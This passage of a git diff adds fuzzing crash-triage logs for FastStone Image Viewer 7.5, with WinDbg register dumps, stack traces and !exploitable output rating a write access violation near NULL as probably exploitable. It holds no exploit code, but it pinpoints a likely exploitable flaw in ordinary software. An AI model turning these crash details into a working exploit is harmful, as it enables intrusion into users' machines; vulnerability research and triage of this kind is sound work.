0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.31409e-005 -4.1413e-005 -3.10809e-024 -8.02e-030 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0027d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0027d000 52f0fe91 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..22c25bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..387b5d5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1148: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1148: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1148.16dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f77b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.88434e-029 5.51803 1.53739e+019 -9.02742e+027 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00274000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00274000 358b58b5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00274000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..387b5d5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1148: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1148: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1148.16dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f77b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.88434e-029 5.51803 1.53739e+019 -9.02742e+027 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00274000 